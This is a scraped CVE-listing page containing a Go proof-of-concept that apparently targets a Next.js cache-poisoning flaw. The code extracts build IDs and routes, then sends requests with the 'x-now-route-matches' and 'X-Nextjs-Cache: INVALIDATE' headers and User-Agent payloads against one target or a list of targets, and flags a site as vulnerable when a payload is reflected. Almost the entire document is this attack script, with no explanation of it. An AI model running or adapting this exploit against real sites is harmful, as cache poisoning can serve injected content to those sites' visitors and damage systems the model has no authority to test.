4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"bufio"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"regexp"
	"strings"
	"time"
)

type NextJSData struct {
	Pages []string `json:"pages"`
}

func extractBuildID(target string) (string, error) {
	resp, err := http.Get(target)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	re := regexp.MustCompile(`"buildId":"([^"]+)"`)
	match := re.FindStringSubmatch(string(body))
	if len(match) < 2 {
		return "", fmt.Errorf("build ID not found")
	}

	return match[1], nil
}

func getNextJSRoutes(target, buildID string) ([]string, error) {
	apiURL := fmt.Sprintf("%s/_next/data/%s/index.json", target, buildID)
	resp, err := http.Get(apiURL)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()

	var data NextJSData
	if err := json.NewDecoder(resp.Body).Decode(&data); err != nil {
		return nil, err
	}

	return data.Pages, nil
}

func checkEndpoint(target, endpoint string) bool {
	url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint)
	resp, err := http.Get(url)
	if err != nil {
		return false
	}
	defer resp.Body.Close()

	return resp.StatusCode != 404
}

func checkVulnerability(target, endpoint string, payloads []string, delay int) {
	client := &http.Client{}
	for _, payload := range payloads {
		url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint)
		req, _ := http.NewRequest("GET", url, nil)
		req.Header.Set("x-now-route-matches", "1")
		req.Header.Set("User-Agent", payload)
		req.Header.Set("X-Nextjs-Cache", "INVALIDATE")

		resp, err := client.Do(req)
		if err != nil {
			fmt.Printf("Error checking %s: %v\n", url, err)
			continue
		}
		defer resp.Body.Close()

		body, _ := io.ReadAll(resp.Body)
		if strings.Contains(string(body), payload) {
			fmt.Printf("[VULNERABLE] %s (Payload Reflected: %s)\n", url, payload)
			return
		} else {
			fmt.Printf("[NOT VULNERABLE] %s\n", url)
		}

		time.Sleep(time.Duration(delay) * time.Second)
	}
}

func readLines(filePath string) ([]string, error) {
	file, err := os.Open(filePath)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	var lines []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := strings.TrimSpace(scanner.Text())
		if line != "" {
			lines = append(lines, line)
		}
	}

	if err := scanner.Err(); err != nil {
		return nil, err
	}

	return lines, nil
}

func processTarget(target string, endpoint string, payloads []string, delay int) {
	fmt.Println("Scanning:", target)

	buildID, err := extractBuildID(target)
	if err != nil {
		fmt.Println("Failed to retrieve build ID.")
	} else {
		pages, err := getNextJSRoutes(target, buildID)
		if err == nil && len(pages) > 0 {
			fmt.Println("Found Next.js pages:", pages)
			endpoint = pages[0]
		} else {
			fmt.Println("No Next.js pages found, using default endpoint:", endpoint)
		}
	}

	if !checkEndpoint(target, endpoint) {
		fmt.Printf("Error: %s does not exist on %s\n", endpoint, target)
		return
	}

	checkVulnerability(target, endpoint, payloads, delay)
}

func main() {
	target := flag.String("t", "", "Single target URL (e.g., https://target.com)")
	targetsFile := flag.String("l", "", "Path to file containing target URLs")
	payloadsFile := flag.String("p", "", "Path to User-Agent payloads file")
	delay := flag.Int("d", 5, "Delay between requests in seconds")
	endpoint := flag.String("e", "/index", "Custom endpoint to test (default: /index)")
	flag.Parse()

	if (*target == "" && *targetsFile == "") || *payloadsFile == "" {
		fmt.Println("Usage: go run exploit.go -t <target> -p <payloads_file> -d <delay> [-e <endpoint>] OR")
		fmt.Println("       go run exploit.go -l <targets_file> -p <payloads_file> -d <delay> [-e <endpoint>]")
		os.Exit(1)
	}

	payloads, err := readLines(*payloadsFile)
	if err != nil {
		fmt.Println("Failed to read payloads file:", err)
		return
	}

	if *target != "" {
		processTarget(*target, *endpoint, payloads, *delay)
	} else {
		targets, err := readLines(*targetsFile)
		if err != nil {
			fmt.Println("Failed to read targets file:", err)
			return
		}
		for _, tgt := range targets {
			processTarget(tgt, *endpoint, payloads, *delay)
		}
	}
}